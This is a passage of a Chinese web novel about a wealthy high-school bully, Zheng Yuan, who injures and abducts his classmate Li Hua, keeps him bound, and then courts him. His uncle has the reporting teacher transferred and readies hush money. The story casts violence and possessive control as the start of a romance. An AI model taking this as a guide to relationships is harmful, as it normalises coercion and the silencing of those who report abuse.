站在走廊上亲自看他走远的王玉代连忙拉着李华去了小竹林，两个人对着郑源的手机研究，王玉代被打怕了，也被郑源鬼魅似的行事作风搞的有心理阴影，忍不住道：“要不然别整了，被他发现咋办啊。”
李华摇头：“没有证据就算说是他做的也没人信。”
“问题是找到证据以后呢？”王玉代感觉他异想天开，自己也是疯了会选择同流合污。
“不知道。”李华的目光很坚定，“老师管不了，校长不管吗？校长不管，警察也不管吗？就算警察也不管……我就打出来，发给全校同学，还不行，我就拿着这些找当地领导，我找记者！我让全国人民都看到！”
王玉代被他的豪言壮语震惊了，结巴道：“不，不是，你，你这么有种的吗？”
李华在这一瞬间和以往的反差太大也太强，让王玉代意识到他并不是一个任人蹂躏，随便揉捏的软柿子，“不是，你，你以前怎么没反抗过？”
“我反抗过。”李华抿唇，实在是摆弄不会，叹口气，“我以为反抗会有效果，结果没有，我就妥协，妥协的效果似乎好一点，但也只是一点，那些一点现在成倍的报复回来，我不敢想继续这么下去我还能不能在这里完成学业，我没办法了，只能拼了。”
王玉代摸着脑袋：“我好像第一次认识你，在我以前的印象里，你只会像小老鼠似的唯唯诺诺的哭，动不动就哭……”
也害怕，也惊惧。
李华没有反驳，认同道：“因为他打的真的很疼，我怕疼，也受不住疼。”
疼就会哭，眼泪啪嗒啪嗒地掉，看起来很可怜。
“但是郑源是个变态……”王玉代担心，忧心忡忡：“你越这样，百折不挠，宁死不屈的，他可能越对你感兴趣，我之前不是跟你说了么，你顺着他，他可能还……”
“你不是他的追随者吗？”李华看着他平淡地问。
王玉代炸毛：“谁是他的追随者？！”
“之一吧。”李华补充，“怎么现在也这么讨厌他？甚至因为讨厌他来帮我。”
如果不是他也讨厌郑源，他们两个根本不可能因为有共同的敌人握手言和，成为一条绳子上的蚂蚱。
“我……”王玉代哑口无言，片刻后才小声说：“顺着他根本没用……”
“对。因为顺着他他只会得寸进尺。”李华的目光很坚定，一张还算稚嫩的脸上不似往日的单纯天真，经历了这么多，他又不是傻子，早就认清了现实，不可能有人帮他，在巨大的权势压迫下，这就像一场底层人民的起义，哪怕会迎来最惨的后果，他也要鼓起勇气，决一死战。
“谁得寸进尺？”郑源站在他身后，手上拿着一部全新的手机，微
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微低头看他的侧脸，嘴角带着笑：“啊，输入密码的次数用完了啊？怎么这么笨。”
他嘴角笑容放大，李华瞬间起一身鸡皮疙瘩，瞬间跳到王玉代旁边，王玉代简直吓的腿软，胳膊开始泛疼：“我我我我我就说，他妈的他……”
李华的目光很坚毅，直视他：“发短信的是你。”
“是我。”郑源双手往后一背，说：“你不是猜到了吗？”
天色渐暗，晚自习的铃声打响，郑源看着他身后的王玉代，眉眼全是戾气：“你还不滚？”
王玉代看着李华的背影，咬咬牙，干脆也拼了：“你不就是仗着你家有几个破钱吗？！”
郑源挑眉，说：“上次说我没妈的是你吧？”他笑起来，露着洁白的牙齿，看起来很阳光开朗，“我没找你的事儿就不错了，你嫌自己活的时间太长想找死吗？想死直接跳楼不得了吗，脏我的手。”
他朝他们走去，李华的心也提到了嗓子眼，他在微微发抖，但伸出手将王玉代拦在了身后，仰着头盯着郑源，他们都没郑源高，在郑源眼里像两只不怕死的鹌鹑伸着脖子等着老鹰将其掐断。
王玉代瞪大眼，震惊地看着李华的侧脸。
郑源微微歪头，看着李华，不明白。
“你不能再打他了。”李华尾音都在颤抖，不只是王玉代有被支配的恐惧，他也有，“你这是校园霸凌。”
郑源的笑收了，目光阴沉沉的，还在和他商量：“李华，你就别惹我了吧，我顶多打他一顿，至于你，我就保不齐会干什么了。”
想起他发的那些短信，李华一瞬间恶心的反胃，他双手握拳，眼眶被气的通红，像要掉泪：“我不会再怕你，再任你拿捏了，郑源，你心里有病，不配当人，你打死我啊，你家不是通天的本事吗？你现在就打死我！”
郑源笑了，额角的青筋都在跳，他现在觉得他小叔说的一点都不对，什么给个巴掌再给个枣啊，什么张弛有度，要循序渐进啊，都不如直接打改来的直接。他掂量掂量手里的新手机，抬手就朝李华砸了过去，坚硬的包装外壳砸到李华的额角，他痛的退后好几步，捂住额头，从指缝里流出血，王玉代大惊失色，扶着他喊他的名字，要把他带走。李华知道来不及了，推开他让他去找老师，王玉代急的不行，被他猛然推远。郑源看不惯他俩这么拉扯，弯腰捡起石头朝王玉代砸过去，砸到他的左肩：“还不滚？！”
王玉代看眼李华，咬咬牙，飞快的跑去找老师。
李华蹲下来捂住头，疼的他头晕眼花，眼冒金星。他看到郑源的脚，脚上穿的好看的球鞋，随即，魔鬼弯下腰，看着他，抹了下他手上的血，闻了一下，掐着他的下巴让他抬眼看自己，郑源说：“我是真喜欢你这张脸，无论你怎么惹我生气，我都不想打你的脸，但我今天实在是太生气了。”
他的话刚说完，李华就抬手扇了他的脸，一点劲都没留，郑源被扇的偏过头，捏着他下巴的劲儿都松了。
“真让我恶心。”李华说，“呸。”
他还吐他一口唾沫。
郑源下意识摸摸自己的脸，扭过来看他，眼里的怒火烧的要杀人。
他一直盯着李华，看他倔强，不认输也不怕死的模样。
片刻后，他笑了。
等王玉代喊老师来，小竹林已经没人了。
地上只有几滴血。
29. 30
一个人闯多大的祸才叫闯祸。李华眼前一片漆黑，清晰的禁锢感让他寸步难行，他双手被绑，双腿也被绑，连眼都蒙了眼罩，除了身下柔软的质感像沙发，像床，其他的一概不知，就露着一张嘴。郑源大发慈悲地放过他，但李华也没那胆子再骂他。他再次意识到郑源是个疯子，竟然能光明正大的把他从学校绑走，这他妈是绑架！他胸腔起伏跌宕，愤怒过后很快蜷缩到一起，像个寻求安慰的毛毛虫，像个被人从背后戳了脊梁的小动物。他开始害怕，这种丧失行动力，任人宰割的滋味太恐怖了，他的脑海里甚至出现了一出杀人案，郑源完全有本事砍下他的头当皮球，就现在。而且他如果真的这么做了，也可能会像老师说的那样，在这样不受控、被保护的年纪，除了批评教育，还因为一些其他因素……
完全不受任何影响。
李华咬着后槽牙，紧紧闭着双眼，一动不动。
门外隐约传来哼歌的声音，是郑源，心情非常好的郑源。他换了居家服，扒拉出医疗箱，一步步朝卧室走去。
他哼的是一首英文歌，原词表达的意思是一位男士对心爱的女士因现实爱而不得，最终郁郁寡欢，做出伤害自己和他人以此来对抗社会、反击世界的事，被称赞为伟大的爱情疯子，而他深爱的女人在得知这一切是因自己而起后跳海自杀，男人紧跟着殉情的结局，让整首歌又被称为最凄惨最华美的爱情故事，甚至是艺术。无论是歌曲创作的初心还是评论区，都透露着一股决绝、带有攻击性、毁灭性的极端与偏执，大有世界不如我意，我他妈就炸了全世界的意思。
郑源拎着医药箱进卧室，看到蜷缩在床上的李华。他头上的血已经干涸了，没有伤及到要害，但依旧是疼的，疼的小脸都白了，眉头紧皱，咬着下唇不发声，一副隐忍到极致的模样。郑源坐在床边，床便凹下去一块儿，李华太轻，不受控地往他偏了偏，郑源勾起唇，抓着他的胳膊把人带过来，让他仰面对着自己。李华的眼被蒙住了，只露一张微薄的唇和瘦削的下巴。郑源看了他一会儿，拿棉球沾消毒水触碰他的额头，那里血糊着，占了一大部分额头，看起来很恐怖。
凉，刺的疼。李华皱眉，闷哼一声，下意识抬手阻拦他的手，双手抓住他的袖口。郑源一顿。
他看看李华的手，“疼？”
李华睫毛轻颤，点点头。
郑源一动不动地盯着他：“说话。”
李华舔了下干涩的唇，声音也很哑，低声说：“疼。”
倒像撒娇似的。
郑源笑了，说：“我轻点儿。”
见李华的嘴抿成了一道线，又说：“疼就掐我，掐这儿。”
他带着李华的手放在自己的胳膊上，将棉球摁了下去，李华瞬间疼的咬牙，手也没省劲儿，隔着衣服都把郑源抓的皱了下眉。
“劲儿这么大，没看出来啊。”他调侃一句，动作轻的不能再轻，“忍忍，你也太娇气了，女孩儿吗？”
李华不说话了。
又把人惹不开心了。郑源撇了下嘴，来回几次，算是把伤口清洁的差不多了。他又用碘伏和生理盐水齐上阵，弄完后裁了纱布给李华包扎。最基础的急救知识和处理伤口的应变能力他都有，倒不麻烦别人了。
将东西收拾了，郑源看着他无言，李华抬手要摸，郑源制止他：“饿吗？”
李华不说话。
郑源就点了几道菜。从他裤兜里翻出自己的另一部手机。赞赏似的：“将计就计、调虎离山……王玉代没那脑子，李华，你三十六计学的不错啊。”
李华撇过头，片刻后又扭过来，“你别打他。”
郑源收了手机看着他，“谁啊？”
“……”李华不说话，郑源说：“王玉代啊？”
明知故问。李华抿唇，郑源说：“你为什么这么护着他？他没欺负过你？”
“他欺负我还不是你授意？”李华忘了害怕，“你当我不知道？”
“我……”郑源一时无言，张张嘴又闭上，又说：“那是你不听话，我为了给你个教训。”
“你为什么要给我教训？”提起这个就来气，李华挣扎着要坐起来，坐不起来，干脆用胳膊肘撑着和他吵架，“你凭什么给我教训？你是我的谁？我爸我妈都不会这么管我，我舅还在，轮不到你管我！”
“我他妈。”郑源操了一声，平时的巧舌如簧在他这儿成了哑巴，“我管你不好吗？你过的不比以前舒服吗？”
李华钪锵有力：“不！”
郑源：“……”
郑源气，气的深呼吸了两下，但他也知道自己理亏，声高的同时心虚，干脆耍起无赖：“不个屁不，你每天都挺开心的！”
思及此，他开始喋喋不休：“你好像脑子有坑，我对你这么好，别人想让我对他好都求之不及，你倒好，白眼狼，一点都不领情，我让你吃好喝好玩好，想怎么学习都能满足你，那外教、私教、任何课外辅导你想上哪个你张张嘴，我哪个给你办不到？科技馆、航空基地、物理化学实验基地你想去哪个我找不来？你跟我犟什么犟？你要真爱学习，你就应该攻克一切艰难险阻，脑子里只有学习，只爱学习，无论是谁给你的学习机会，都比你那穷人家出来的，可怜的道德和自尊心以及面子重要！”
李华也怒到极致，直接被他气哭：“你看不起我！谁要你的施舍？你少看不起我！凭什么你给我就要？我没了这些我照样学习好！我之前的年级第一怎么得来的我以后就能怎么保持！你有这些你就了不起了？你给别人去啊！穷怎么了？就是穷怎么了？我人穷志不穷！我们家就是穷，但是再穷，也比你强！”
他狠狠地抽了下鼻子，像擦眼泪，却动作受限，眼泪滚珠似的顺着眼角落到床上：“凭什么你给我就要？我就不要，我不稀罕。我不要你一丁点东西，你也不要给我。我不想跟你接触，看见你就烦，更不可能对你笑脸相迎，感恩戴德。”
他使出全身力气坐起来，凭着感觉和郑源面对面，直直地透过眼罩看着他，吐出两个字。
“傻逼。”
……
“老师，怎么办啊。”王玉代急的不行，“郑源不接电话。”
班主任也一个劲
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儿的在打，愁的她头发一掉一大把。她翻着通讯录，找到之前联系郑玉安的电话号码，才隔多长时间，又出事儿，她真是要崩溃。有谁能收了郑源这个祖宗，能不能让他转班。带一个这样的学生，气血不足的得少活十年。“再等等，再等等。”她劝王玉代，更像在说给自己听，“郑源不会做傻事，他心里有谱。”
实际上她心里也没底，握着手机的指尖都泛白，谁都怕他做傻事。良心在火上备受煎熬，想起李华的难过又不得不低头的模样，人民教师四个字在办公桌上闪闪发光，刚教学几年的年轻女老师最终承受不住良心上的谴责，拨通了郑玉安的电话。
还不是郑玉安接的，这电话是郑玉安秘书的。
这让她说话硬了点，“请你迅速、马上转告郑源的小叔郑玉安，郑源强制性、私自带离同班同学出校，至今下落不明。我是他们的班主任，我已经上报校领导，此次事件恶劣至极，请相关赡养人务必到校，并把同学安然无恙送回来，否则，否则……我们将报警处理！”
砰地挂断电话，老师激动的面色涨红，气的不行。王玉代还是第一次见他们班主任这么有气势，看呆了，片刻后忍不住拍手，“老师，你好帅。”
年轻的女老师不好意思地笑了一下，忍不住道：“简直无法无天！”
正在批阅文件的郑玉安听着秘书的转述，钢笔笔尖只顿了一秒，便签上了自己的名字。
“什么时候的事。”
“下午放学，六点钟。”
郑玉安看了眼腕表，继续看文件。
秘书不知道他什么意思，不敢轻举妄动。
“小孩子玩闹。”郑玉安说，“大惊小怪。”
这是怪罪的意思。秘书连呼吸都是轻的。
报警，报警能威胁的了谁。郑玉安不想因为这些比芝麻还小的事儿分心，一时很烦老师这通不知礼数，小题大做的电话。
“给她换个轻松点的班管。”他合上文件，“别三天两头一通电话。”
他站起身，点根烟，走到窗边。霓虹闪烁，五光十色的灯光绚丽多彩，夜风卷着香烟反扑回来，缓解他的疲惫。
“准备三十万现金。”他转身看着秘书，灯光下却看不清他的脸。
“出事儿了就给他爸妈送去，别再来烦我。”
秘书退出去，郑玉安将烟摁灭在烟灰缸，翻出郑源的电话，发了条短信。
只有一串电话号码。
郑源看不懂，很快给他回过去：“小叔，怎么了？”
郑玉安说：“人是死的还是活的。”
“……谁啊？”
“你带走的那个。”
“活的啊，肯定是活的啊，活的好好的。”郑源莫名其妙，小心翼翼地给李华擦泪珠，“干嘛问这个，晦气。”
郑玉安轻笑了一声，“那没事了。”
郑源说：“那电话号码是干什么的？”
“你用不到。”郑玉安说，“早点睡，别忘了上课。”
嘟的一声，电话挂断。郑源：“……”
莫名其妙。
30. 31
眼泪对郑源而言是种示弱，因为他从没见他身边的人哭过，连他自己从小到大哭的次数都屈指可数，所以一面对李华的眼泪，他就手足无措地不知道怎么办了。他的本意也不是为了搞哭他，他也没觉得自己哪儿说错，哪儿做错了，可李华就是哭了。眼泪啪嗒啪嗒地掉，那么大的泪珠滚落，看的他难受，他小心翼翼地凑过去给他擦，李华扭过头，但也躲不掉。郑源的注意力全被眼泪吸走了，连他骂的那句傻逼都不在意了，反而道：“你骂我我还没说什么呢？你想骂就骂啊，哭什么啊，你多骂几句解解气不好吗？傻逼、死逼，想骂什么就骂什么。”
他顿了一秒，说：“反正王玉代说的对，我有娘生没娘养的，你别哭了。”
李华扭过来看他。
两个人四目相对，郑源没觉得自己说错，他说的是事实，是客观情况，他从小也听过不少，那些来参加晚宴的叔叔阿姨总会因为背着他地交谈：多可怜的小孩儿，爹妈都死了，没人养，托给郑玉安，让郑玉安到现在都没成家……
所以他对郑玉安一个月来看他一次也没任何怨言，他们都已经做出最大的牺牲和让步了，怎么还能奢求更多呢？
他虽然对别人这么嘲讽他，用来攻击他有点受刺激，但这也是为什么他没有追究王玉代的原因，因为没必要，就算真打死他，又能改变什么呢？什么都改变不了。
他这么云淡风轻地说出来，反而让李华更生气了，李华对于这种自揭伤疤的行为感到不解：“他们说任他们说呗，你放什么心上，都说了比你惨的大有人在，你见过哪个天天挂嘴上？盲人有一直说自己看不见吗？”
郑源愣了，他看着李华清亮的眼睛，才发现他一直没有同情自己，也没有可怜，他就是把他当成一个普通的，和万千学生一样的男同学。
“我……”他心里有种古怪的感觉，不知道是感动还是出乎意料，让他像个犯错的小孩儿，不敢看他，尽管他的本意只是破罐子破摔地想让李华解气。
李华抿了下唇，到底是十几岁的年纪，情绪来的快去的快，还是讨厌他，还是生气，甚至是恨，但本性的柔软善良让他说不出伤人的话。他想没有父母的确是郑源始终跨不过的槛，就像他说的，没人教他，所以他长成现在这样，但这些都不是借口和理由，“我父母陪伴我的时间也很少。”他垂眸，有些无奈：“以前在家，我只想学习，考上好学校，让爸妈开心，我也知道只有学习才能出人头地，才能让爸妈过上好日子，和他们接触的很少，后来又到了这儿，见都见不到了，舅舅说以后要上大学，离家更远，只有寒暑假才能回来，但那个时候爸妈就更老了，我唯一担心害怕的是，我努力的速度跟不上爸妈老去的速度。”
李华看着他，认真地说：“你可能没有学习的理由，但我有。所以我不希望你再缠着我了，我没有对你做什么。”
郑源看着他，心跳突然很快，有些紧张，也有被他感染的悸动，声音里带了些恳求：“那你能别不理我吗？”
“我为什么要理你？”李华不明白，他想换个姿势，却动不了，感到很疲惫，也很累。郑源立马把他松绑，“饭马上就送到了。”他说，想伸手给他揉手腕，被李华躲开，李华自己揉着手，没说话。郑源收回手，说：“行吗？”
“能不能别不理我？”
“不能。”李华说：“我为什么非要理你？理不理你难道不是我自己的权利？”
“是，但是。”郑源抓耳挠腮，“你不理我，我就很生气，我就想打你。”
李华瞪着眼：“你还有理了？”
郑源连忙摆手：“不是，不是。”他解释不清，一时气势下去，笨嘴拙舌，“总之，你得理我。”
李华无奈。不想再理不理这件事上过多纠缠，他算是感受到了一些郑源缠起人时的威力，想了下理和不理要付出的成本和代价，最终点头，顺势抛出自己的条件：“那你不能再打我。”
“只要你听话。”郑源说。
李华瞪着眼：“又变成我听话了，你怎么这么得寸进尺啊，你不要脸。”
他气的拽着枕头扔过去：“我凭什么听你的话？你是我的谁啊？”
“我。”郑源接过枕头，“我对你好啊，我对你好，你为什么不听？”
李华说：“我还对你好呢，你为什么不听？”
郑源说：“我哪儿没听？”
李华说：“我让你以后别理我，你为什么不听？”
郑源哭丧着脸：“这对我也不好啊。”
李华：“……”
李华面无表情：“这对我好。”
郑源：“……”
李华套娃：“你要是真想对我好，就别理我。”
郑源受伤：“你就那么讨厌我吗？”
李华：“是。”
郑源黯然神伤。他独自静默地难过了会儿，重新拿过来绳子。
李华十分警惕，腿放下来随时准备跑，“你干嘛？”
郑源拿过绳子递给他，目光诚挚：“要不然你捆着我，把我打一顿，消消气吧，我绝对不会还手的，打完你就别生气了，也别讨厌我了，行吗？”
李华：“……”
他说的可怜兮兮，那张脸也委屈的不行，那么高的个子，那么大的人，让李华起一身鸡皮疙瘩，他还处在懵懂的年纪，对同性的撒娇感到炸毛，一把拍掉他手里的绳子，“我才不要，你以为都跟你一样，暴力解决不了任何问题！”
“那什么能解决？”郑源认真地问：“我真做不到不理你，一想到没法跟你说话，跟你玩，我就很难受，也很伤心，气愤，我就控制不住我自己干什么，我再看到你跟别人玩，我就难过，暴躁，想把他们都赶走。”
他颓丧下来：“对不起，李华，我太笨了，我想不到解决的办法。”
李华有点被震撼到了，他张张嘴，又闭上，略微结巴，“你，你，你为什么，非要跟我玩啊？”
“我……”郑源抬眼看着他，目光又躲闪两下，“我，我也不知道。”
脸却红了。
“你……”李华也沉默了。他想了想，说：“也不是我不愿意跟你玩，是因为你之前打我打的实在是太疼了，我都有心理阴影了，你还反复无常，我不知道干了什么就惹到你了，所以我不敢跟你玩，我总觉得你这秒笑着，下秒就会打我。”
郑源握紧手，渴望地看着他：“以后都不会了，我发誓，我保证！”
“真的吗？”李华问，皱着眉，还是不敢信，将信将疑。
“真的！”郑源发毒誓，“如果我再打你，就让我出门被车撞死！”
李华向来听不得人发这种，生怕应验，他连忙严肃道：“快呸呸呸！”
郑源跟着他呸呸呸，看着他笑了起来。
李华被他看到坐不住，说：“我还没有答应和你玩，起码三个月试用期，如果你又打我，我……”
他想不出办法，他没什么能威胁到郑源的。郑源却正儿八经地说：“就让你永远不跟我玩！”
李华一愣，这样也行吗？就能威胁到他了？但看他认真的模样，也行吧。
两个人算是短暂的握手言和，郑
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源开心的要跳起来，恰巧饭送到，他一溜烟的去拿餐，李华扶着床站起来，跟在他身后，却无意间看到床头柜放着的小盒子，不大，透明的，里面有几根男生的短发。
他皱了下眉，下意识挠挠头，走出了卧室。
郑源把饭摆到餐桌上，李华又想到什么，继续道：“也不能再强迫我干我不喜欢的事。”
郑源点头如捣蒜，摆好碗筷：“快尝尝。”
李华坐在他对面，也的确是饿了，没心思再想其他，跟他和谐地吃了顿晚饭。
吃完他提出回去，郑源欲言又止，被他一动不动地盯着，只能咬咬牙同意了，当晚把人送回去了。
王玉代看到李华时几乎要哭出来，看他头上包扎的伤口，一个感动就想冲过去抱他，被李华躲开。寝室里，王玉代添油加醋地将事情讲了一番，着重夸大了李华的仗义，郑源的傻逼，把几个舍友也感动的不行，让李华莫名其妙收揽一批好友，大家纷纷表示，以后李华有困难就说，兄弟们一定会帮忙。
李华累的不行，疲倦的洗漱完上床，回想这一整天，感到可笑，想摸索着手机给爸妈发个短信，却想起来手机被收了，无奈叹口气，转过身就那么睡着了。
第二天，他去教室，一摸抽屉，摸到了个硬壳的东西，他拉出来一看，是自己的手机。
还有另一部崭新的智能机，不是砸他的那个。
他扭头，郑源撑着下巴，朝他眨了下眼。
唯一不好的，就是他们换了老师，换了个很瘦但眼神很锋利的中年教师。
临时换老师，同学们都不开心，怨声载道，问之前的女老师去哪儿了。
说是换校区了，不在这个学校了。
李华想起两个人的接触，王玉代跟他说的事情，很惋惜，他还没跟老师说声谢谢呢。
看着他情绪低落，郑源很快反应过来。
下课，他跟郑玉安打电话。
“小叔，你干的吗？”郑源问：“我们班主任调走？”
沉默代表了一切。
郑源有些烦：“为什么啊？”
郑玉安说：“她管的太宽了。”
郑源：“把她调回来。”
郑玉安笑了：“儿戏。又不是你把人绑走，让她到处打电话上报的时候了？”
郑源从小就知道他会知道自己所干的一切：“我和李华已经和好了，你不要再加进来了。”
郑玉安说：“又闹矛盾怎么办？”
郑源一顿。
郑玉安道：“小源，不要被表象迷惑，人心是最难测的东西，你今天让他开心，他听你的，明天他不开心，就又不知道你是谁了。人都是记吃不记打的。早就跟你说过，想达目的，要不择手段，你总这么优柔寡断，他当然不会把你放眼里。”
郑玉安抽出五分钟，语重心长地解决小辈的情感事，芝麻大小，能浪费他这么长时间已经是他对他爱的极限：“等他什么时候觉得非你不可，你再给他想要的，他才会感激涕零，这是小叔最后一次教你。”
挂断电话，郑源站在原地很长时间，回想李华的笑脸，握紧了手机。
回到教室，他盯着李华看，看的李华莫名其妙，抬眼看他，虽然看着他阴沉的眼神有些后怕，但想起两个人的约定，他决定相信郑源最后一次。
他朝他笑了一下。
郑源一顿，仓皇地低下头。
上课铃打响，他心不在焉，最终拿出手机，编辑了一条短信。
-谢谢小叔。但他对我笑了。
我想这就够了。
31. 32
像是要让李华感受到他的转变，更像是要做给他看，郑源现在又回到第一次见面的那种状态，对李华温声细语，甚至对王玉代都是和气的。王玉代拉着李华在角落里小声说：“你疯啦？你相信他？他把你打成什么样你不知道啊？那嘴里的话能信吗？他说不打你就不打你？连我都不信！”
李华也知道这种做法很莽撞，但他也没其他办法了不是吗？起码目前这样能牵制住他，让自己过几天安生日子。李华安慰他两句，回到位置上。郑源便走过来，问他中午能不能和自己一起吃饭。李华想了想，在他期待隐忍的目光中点了头。瞬间阴霾散去，郑源开心地笑了起来。
但是他送给李华的手机被退了回来，李华在中午饭堂吃饭时还给了他。郑源有些不情愿，但面对李华的目光，还是收下了。虽然是在饭堂吃饭，但吃的都是郑源带来的私厨，比饭堂的饭好吃的多。尽管饭堂的饭已经是学校里不错的，大锅菜最终架不住一小碗一小碗烘出来的，李华吃了很多。很多肉，都是郑源夹给他的，说他太瘦了。
两个人一搭没一搭地聊着，大部分都是郑源问，李华答，正说着，有几个外班的同学坐到了他们旁边，在唠嗑，郑源有些烦，刚想出声让他们坐远点，就看到他们在指指点点，他和李华对视一眼，顺着他们手指的目光看去，看到两个男生，像是刚从小卖部出来，手里都提着零食，鹤立鸡群的身高，帅气好看的样貌，一个看起来玩世不恭，嘴角噙着懒洋洋地笑，郑源不算陌生，一个头发有些短，眼皮很薄，眼珠很黑，眉骨还有些高，侧颜的鼻梁又高又直，垂下的手还有一道伤，看起来很凶。
“段喻啊啊啊。”李华旁边的女生小声尖叫，“帅死了，听说他刚打架被通报批评。”
“他旁边的是秦湛。天啊，帅哥都跟帅哥玩！”
“我好喜欢段喻，你有没有看过学校的贴吧和校园墙，好多人表白他，扛把子。”
李华默默地啃着嘴里的排骨，不感兴趣，但是看到郑源眉眼微沉，看他的眼神有一丝探究，他莫名：“看我干什么？”
郑源当时没吭声，等从饭堂出来了，才说：“我帅他们帅？”
“……什么？”李华莫名其妙，“都帅。”
郑源撇了下嘴，很不满意。
实际上李华没说错，郑源的确很帅，但他的贵气实在是更胜一筹。不是什么人都能带着那种天生挥金如土的气质，他往那儿一站，更让人仰望的不是长相，而是退避三舍的高不可攀。这是金钱养出来的，权利熏出来的，顶峰上站着的。不是十几岁小女孩儿小男孩儿追求的痞帅、冷酷等等。简而言之，他更成熟，看起来跟他们不是一个图层。
两个人都走远了，郑源又冷着脸说：“你怎么能觉得别人帅呢？”
李华：“……”
李华：“那帅就是帅啊，我客观评价一下而已。”
郑源又开始蛮不讲理：“你只能觉得我帅。”
“……”李华：“我也没不觉得你帅吧？”
郑源说：“你只能觉得我一个人帅。”
“……我为什么只能觉得你一个人帅？”李华跟他杠上，“你真奇怪，你连我的……”他甚至不知道怎么形容：“眼在我自己身上长着！你连我的眼睛也要管。”
郑源动动嘴，忍住了，不说了，怕他又觉得自己强迫他了，过了片刻才嘟囔着抱怨：“你一点都不专一。”
李华：“……”
李华本以为这事儿都过去了，谁知道晚上去食堂吃饭，郑源又缠上来了：“如果你必须选择一个呢？”
李华无语地看着他，郑源说：“我和段喻、秦湛之间，你必须选一个你认为帅的，你选谁？”
李华老实地想了想：“段喻。”
郑源炸毛：“他帅？你眼瞎啊，他哪儿帅啊？他的寸头帅？还是那死鱼眼？”
李华：“……”
郑源见他沉默，以为他没理，更炸了：“你说话啊，李华，你真觉得他帅？我哪儿比不上他？他不就装逼了点儿吗？你喜欢装逼的是吧？我也可以啊，我能装的比他还厉害，你怎么不喜欢我啊？！”
他喊的声音实在是有点大，让李华不得不将他拽到没人的地方，“你有病吧？我哪儿说喜欢他了？”
郑源很委屈：“你觉得他帅！”
“我觉得他帅就是喜欢他了？”李华让气的脑仁疼，“郑源我真搞不懂你，我是个男生，他也是个男生，谈什么喜欢不喜欢啊？”
“男生跟男生怎么就不能谈喜欢了？！”郑源的声音突然越说越小，嘴上嘴硬的理直气壮，却心虚地怕人听到似的：“男生也有喜欢男生的啊！”
“就算有，也不是我。”李华认真道：“我不可能喜欢男生，我也不会喜欢男生。”他叹了口气，“我甚至看不出来到底谁帅，我只是觉得他没你长的凶而已，至于你说的其他什么人，秦什么，我根本不知道他是谁。”
“那你怎么知道段喻？”
“他手上有伤啊，她们不是说了吗？！”
郑源一时无言，嗫嚅了一下，又说：“我没他那么凶，我都不打架。”
李华：“……”
李华：“是的，你只打我了。”
郑源：“……”
郑源：“没，我还打王玉代了，没只打你。”
李华：“……”
郑源心里难受，一时也忘了自己在跟他吵什么，只看着他无奈的样子想到他刚说的话，动动嘴，终归没问出口。
他想问，为什么你不会喜欢男生啊？
见他不闹了，李华转身回去吃饭，郑源在身后跟着他，情绪一直很低落，握着筷子也没动。
李华没空管他，赶快吃完还要回去学习。
回到教室，郑源罕见地没去烦他，而是转移了目标，去找王玉代了。王玉代对于这尊佛的到来很警惕，这还是自上次小竹林分别后两人的第一次打交道，李华愚蠢地相信他改了，他可不信。他往后靠着，试图远离他，却听到他说：“王玉代，你有没有可能喜欢男生？”
王玉代：“……啊？”
看着王玉代错愕的表情，郑源暴躁起来：“啊什么啊？我问你有没有可能喜欢男生，你他妈耳聋啊？”
“不是。”王玉代想，这他妈是在李华那儿受气了又，脾气比以前更差。他说：“不可能啊，我为什么要喜欢男生啊，那女生不够我喜欢吗？”
随即他想到什么，反应过来，眼瞬间瞪大，脱口而出的话被郑源一个箭步捂住嘴，他的速度之快让王玉代都没反应过来，郑源说：“你敢说我就敢砍你。”
王玉代瞪着眼点头，郑源松开他。
然后王玉代说：“你喜欢李华啊？”
郑源瞬间瞪大眼，没想到他胆子这么大，一个手刀还没下去，又见王玉代拍起大腿，“我就知道，我就知道你们之间别别扭扭，莫名其妙那股劲是为什么了，原来是因为这个，太……”
太恶心了。他想，他恐同，特别是郑源这样的。
“太什么？”郑源盯着他，觉得自己来找他真是个愚蠢的错误，他怎么想的，真是让猪骑头上，脑子里拉的全是屎。
“太……意外。”王玉代假笑，他不傻，当然知道自己这时候得小心说话。
郑源冷哼一声，临走时还专门告诉他：“只有你一个人知道，但凡让我听到点什么，新仇旧账一起算，十个李华都护不住你。”
王
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玉代长出一口气，看着他回到位置上，又看看李华的背影，冷笑了一声，装什么装，再怎么厉害不也是不敢让当事人知道么。
要是让李华知道了……王玉代笑了起来，唯恐天下不乱地本性暴露，耐不住兴奋地搓搓手，真不知道郑源还怎么维持这幅高高在上，掌控一切的样子。
回到位置上的郑源很凌乱，他清楚地意识到身边的人有可能只有他自己喜欢男生，也不对，他为什么不喜欢王玉代？他觉得自己不是喜欢男生，是只喜欢李华。但是为什么喜欢李华？他又不知道了。但他就是想缠着他，想一直跟他在一起，看他干什么都是开心的，这还不叫喜欢？那想把所有好东西都给他，只要他要，他就能在郑源这儿取之不尽，用之不竭叫不叫喜欢？再退一万步，郑源看到他就开心，感觉他无论干什么都可爱，不想让他哭，他哭他也跟着难受，叫不叫喜欢？但是为什么啊，他为什么会喜欢一个男生，而且他为什么会喜欢李华啊？
简直他妈的没道理啊。
郑源烦躁地抓头发，一点就燃的爆炸值已经到顶峰。现在就是有根羽毛落在他身上都得顷刻化为灰烬。
偏偏晚自习时，还有女生去找李华问问题。
就是之前给他面包的那个。
郑源盯着他们，突然意识到一个让他惊慌的事实。
李华不喜欢男生，就不会喜欢他，那他不就喜欢别人去了吗？
他喜欢女生，那他不就有可能喜欢任何一个女生了吗？
郑源被掐住了喉咙，一句话都说不出来，看着李华认真耐心地给对方解题的样子，心中紧绷着的，那根叫理智的弦摇摇欲坠，马上崩断。
突然，下课铃打响。同学们陆陆续续走出教室，李华收拾完课本，一扭头，看到郑源还垂头坐着，很难受似的。
生病了？这个毫无精神的状态。
李华走到他面前，伸手在他眼前挥了挥，被抓住手腕。
李华一顿，郑源手心的温度好高，烫的慌。
所有人都走完了，白炽灯照着他们，一高一低，一上一下，他们安静地对视，郑源的目光一寸寸移到他的指尖上，缓慢凑近，把脸贴进了他的掌心。
李华一直没动，他有些被吓到，因为郑源的脸色实在是难看，非常难看，说不清那是一种什么表情，不是生气，难过，更像是痛苦。
对，痛苦。
郑源就那么静静地贴着他，过了很久，才听到李华说：“不舒服的话找医生吧。”
郑源看着他说：“你一放学就过来找我，是不是证明也没那么讨厌我？”
李华一顿，他缓慢地眨两下眼，无言以对。
对啊，他为什么来啊？他生病不生病，跟自己有什么关系啊？
没关系啊！
李华收回手要走，郑源拽着他，猛地一使劲，李华砸在他身上，额头差点磕到他的下巴，但是坐进了他怀里，他挣扎着起身，郑源抱着他：“抱一下。”
他的声音很哑也很稳：“就一下。”
李华突然想到他给自己发的短信。
